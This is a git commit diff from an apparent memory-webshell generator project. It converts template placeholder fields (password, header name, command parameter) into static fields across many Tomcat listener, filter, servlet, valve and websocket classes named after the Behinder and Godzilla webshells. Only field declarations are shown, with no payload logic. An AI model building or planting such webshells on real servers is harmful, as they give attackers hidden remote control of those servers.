feat: support tomcat agent shell (resolved #12)

This commit is contained in:
ReaJason
2025-01-03 00:25:56 +08:00
parent 8e741b6647
commit 2da2e180cb
84 changed files with 1058 additions and 285 deletions
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
public BehinderListener() {
}
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName = "{{paramName}}";
public static String paramName;
public CommandListener() {
}
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaListener() {
}
@@ -19,9 +19,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderValve extends ClassLoader implements Valve {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
@@ -13,7 +13,7 @@ import java.io.InputStream;
* @author ReaJason
*/
public class CommandValve implements Valve {
public String paramName = "{{paramName}}";
public static String paramName;
protected Valve next;
protected boolean asyncSupported;
@@ -15,11 +15,11 @@ import java.io.IOException;
* @author ReaJason
*/
public class GodzillaValve extends ClassLoader implements Valve {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
public BehinderListener() {
}
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName = "{{paramName}}";
public static String paramName;
public CommandListener() {
}
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaListener() {
}
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
public BehinderListener() {
}
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName = "{{paramName}}";
public static String paramName;
public CommandListener() {
}
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaListener() {
}
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
public BehinderListener() {
}
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName = "{{paramName}}";
public static String paramName;
public CommandListener() {
}
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaListener() {
}
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderFilter extends ClassLoader implements Filter {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
@SuppressWarnings("all")
public Class<?> g(byte[] b) {
@@ -17,9 +17,9 @@ import java.util.Map;
*/
public class BehinderServlet extends ClassLoader implements Servlet {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
@Override
@SuppressWarnings("all")
@@ -19,9 +19,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderValve extends ClassLoader implements Valve {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
@@ -11,7 +11,7 @@ import java.io.InputStream;
* @since 2024/11/24
*/
public class CommandFilter implements Filter {
public String paramName = "{{paramName}}";
public static String paramName;
@Override
public void init(FilterConfig filterConfig) throws ServletException {
@@ -13,7 +13,7 @@ import java.io.InputStream;
* @since 2024/12/15
*/
public class CommandServlet extends HttpServlet {
public String paramName = "{{paramName}}";
public static String paramName;
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
@@ -13,7 +13,7 @@ import java.io.InputStream;
* @author ReaJason
*/
public class CommandValve implements Valve {
public String paramName = "{{paramName}}";
public static String paramName;
protected Valve next;
protected boolean asyncSupported;
@@ -13,11 +13,11 @@ import java.io.IOException;
* @author ReaJason
*/
public class GodzillaFilter extends ClassLoader implements Filter {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaFilter() {
}
@@ -14,11 +14,11 @@ import java.io.IOException;
* @since 2024/12/15
*/
public class GodzillaServlet extends ClassLoader implements Servlet {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaServlet() {
}
@@ -15,11 +15,11 @@ import java.io.IOException;
* @author ReaJason
*/
public class GodzillaValve extends ClassLoader implements Valve {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
@@ -8,7 +8,7 @@ import java.io.IOException;
* @since 2024/12/14
*/
public class SleepFilter implements Filter {
private int second = 10;
public static int second = 10;
@Override
public void destroy() {
@@ -8,7 +8,7 @@ import javax.servlet.ServletRequestListener;
* @since 2024/12/14
*/
public class SleepListener implements ServletRequestListener {
private int second = 10;
private static int second = 10;
@Override
public void requestDestroyed(ServletRequestEvent sre) {
@@ -12,7 +12,7 @@ import java.io.IOException;
* @since 2024/12/14
*/
public class SleepValve implements Valve {
private int second = 10;
private static int second = 10;
@Override
public Valve getNext() {
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
public BehinderListener() {
}
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName = "{{paramName}}";
public static String paramName;
public CommandListener() {
}
@@ -14,7 +14,7 @@ import java.io.InputStream;
*/
public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<String> {
public String paramName = "{{paramName}}";
public static String paramName;
private Session session;
@Override
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaListener() {
}
@@ -20,9 +20,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderValve6 extends ClassLoader implements Valve {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
@@ -19,9 +19,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderValve7 extends ClassLoader implements Valve {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
@@ -14,7 +14,7 @@ import java.io.InputStream;
* @author ReaJason
*/
public class CommandValve6 implements Valve {
public String paramName = "{{paramName}}";
public static String paramName;
protected Valve next;
protected boolean asyncSupported;
@@ -13,7 +13,7 @@ import java.io.InputStream;
* @author ReaJason
*/
public class CommandValve7 implements Valve {
public String paramName = "{{paramName}}";
public static String paramName;
protected Valve next;
protected boolean asyncSupported;
@@ -16,11 +16,11 @@ import java.io.IOException;
* @author ReaJason
*/
public class GodzillaValve6 extends ClassLoader implements Valve {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
@@ -15,11 +15,11 @@ import java.io.IOException;
* @author ReaJason
*/
public class GodzillaValve7 extends ClassLoader implements Valve {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
protected Valve next;
protected boolean asyncSupported;
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
public BehinderListener() {
}
@@ -13,7 +13,7 @@ import java.util.Map;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName = "{{paramName}}";
public static String paramName;
public CommandListener() {
}
@@ -15,11 +15,11 @@ import java.util.Map;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaListener() {
}
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
public BehinderListener() {
}
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName = "{{paramName}}";
public static String paramName;
public CommandListener() {
}
@@ -14,7 +14,7 @@ import java.io.InputStream;
*/
public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<String> {
public String paramName = "{{paramName}}";
public static String paramName;
private Session session;
@Override
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaListener() {
}
@@ -16,9 +16,9 @@ import java.util.Map;
* @since 2024/12/21
*/
public class BehinderListener extends ClassLoader implements ServletRequestListener {
public String pass = "{{pass}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String pass;
public static String headerName;
public static String headerValue;
public BehinderListener() {
}
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class CommandListener implements ServletRequestListener {
public String paramName = "{{paramName}}";
public static String paramName;
public CommandListener() {
}
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
* @author ReaJason
*/
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
public String key = "{{key}}";
public String pass = "{{pass}}";
public String md5 = "{{md5}}";
public String headerName = "{{headerName}}";
public String headerValue = "{{headerValue}}";
public static String key;
public static String pass;
public static String md5;
public static String headerName;
public static String headerValue;
public GodzillaListener() {
}